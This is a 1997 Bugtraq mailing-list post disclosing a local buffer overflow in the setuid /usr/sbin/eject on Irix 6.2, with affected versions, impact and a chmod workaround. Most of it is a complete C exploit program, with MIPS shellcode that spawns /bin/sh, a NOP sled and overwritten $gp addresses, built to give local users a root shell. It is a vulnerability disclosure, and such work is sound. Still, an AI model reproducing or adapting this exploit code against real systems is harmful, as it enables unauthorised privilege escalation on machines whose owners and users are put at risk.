Bugtraq mailing list archives
Irix buffer overflow in /usr/sbin/eject
From: hedley () CS BRIS AC UK (David Hedley)
Date: Sun, 25 May 1997 17:32:50 +0100
Hi there again,
Following on from Yuri's email about buffer overflowing on Irix, I
include an exploit for /usr/sbin/eject. As mentioned previously, we
smash $gp instead of $ra and so the exploit is slightly different to the
last exploit for /bin/df...
Vulnerable: Irix 6.2 (possibly 6.1 and 6.0.1 also - I haven't tested them)
Not vulnerable: Irix 5.x - buffer overflow exists, but is virtually
unexploitable due to the stack position.
Irix 6.3 - appears to have been fixed.
Impact: local users can gain root privileges
Tested on: Power Challenge (R8000) Irix64 6.2
Temporary fix: chmod u-s /usr/sbin/eject
Regards,
David
p.s. Yuri's exploit for /usr/bsd/ordist works on our R8000 PChallenge
(Irix64 6.2)
p.p.s. Can the administrator of bugtraq (and best-of-security) please
include an 'Errors-to:' or similar field in outgoing mail so
bounces from the list don't come back to the original sender?
--
David Hedley (hedley () cs bris ac uk)
finger hedley () cs bris ac uk for PGP key
Computer Graphics Group | University of Bristol | UK
-------------------- cut here -------------------------------
/* /usr/sbin/eject exploit by DCRH 25/5/97
*
* Tested on: R8000 Power Challenge (Irix64 6.2)
*
* Exploit doesn't work on Irix 5.x due to stack position
* Irix 6.3 does not appear to be vulnerable
*
* compile as: cc -n32 eject.c
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <unistd.h>
#define NUM_ADDRESSES 80
#define BUF_LENGTH 400
#define EXTRA 200
#define OFFSET -0x128
#define GP_OFFSET 32412
#define IRIX_NOP 0x03e0f825 /* move $ra,$ra */
#define u_long unsigned
u_long get_sp_code[] = {
0x03a01025, /* move $v0,$sp */
0x03e00008, /* jr $ra */
0x00000000, /* nop */
};
u_long irix_shellcode[] = {
0x24041234, /* li $4,0x1234 */
0x2084edcc, /* sub $4,0x1234 */
0x0491fffe, /* bgezal $4,pc-4 */
0x03bd302a, /* sgt $6,$sp,$sp */
0x23e4012c, /* addi $4,$31,264+36 */
0xa086feff, /* sb $6,-264+7($4) */
0x2084fef8, /* sub $4,264 */
0x20850110, /* addi $5,$4,264+8 */
0xaca4fef8, /* sw $4,-264($5) */
0xaca6fefc, /* sw $4,-260($5) */
0x20a5fef8, /* sub $5, 264 */
0x240203f3, /* li $v0,1011 */
0x03ffffcc, /* syscall 0xfffff */
0x2f62696e, /* "/bin" */
0x2f7368ff, /* "/sh" */
};
char buf[NUM_ADDRESSES+BUF_LENGTH + EXTRA + 8];
void main(int argc, char **argv)
{
char *env[] = {NULL};
u_long targ_addr, stack;
u_long *long_p;
int i, code_length = strlen((char *)irix_shellcode)+1;
u_long (*get_sp)(void) = (u_long (*)(void))get_sp_code;
stack = get_sp();
if (stack & 0x80000000) {
printf("Recompile with the '-n32' option\n");
exit(1);
}
long_p =(u_long *) buf;
targ_addr = stack + OFFSET;
if (argc > 1)
targ_addr += atoi(argv[1]) * 4;
if (targ_addr + GP_OFFSET > 0x80000000) {
printf("Sorry - this exploit for Irix 6.x only\n");
exit(1);
}
while ((targ_addr & 0xff000000) == 0 ||
(targ_addr & 0x00ff0000) == 0 ||
(targ_addr & 0x0000ff00) == 0 ||
(targ_addr & 0x000000ff) == 0)
targ_addr += 4;
for (i = 0; i < NUM_ADDRESSES/sizeof(u_long); i++)
*long_p++ = targ_addr + NUM_ADDRESSES/2;
for (i = 0; i < (BUF_LENGTH - code_length) / sizeof(u_long); i++)
*long_p++ = IRIX_NOP;
for (i = 0; i < code_length/sizeof(u_long); i++)
*long_p++ = irix_shellcode[i];
for (i = 0; i < EXTRA / sizeof(u_long); i++)
*long_p++ = targ_addr + GP_OFFSET;
*long_p = 0;
printf("stack = 0x%x, targ_addr = 0x%x\n", stack, targ_addr);
execle("/usr/sbin/eject", "eject", buf, 0, env);
perror("execl failed");
}
Current thread:
- Irix buffer overflow in /usr/sbin/eject David Hedley (May 25)
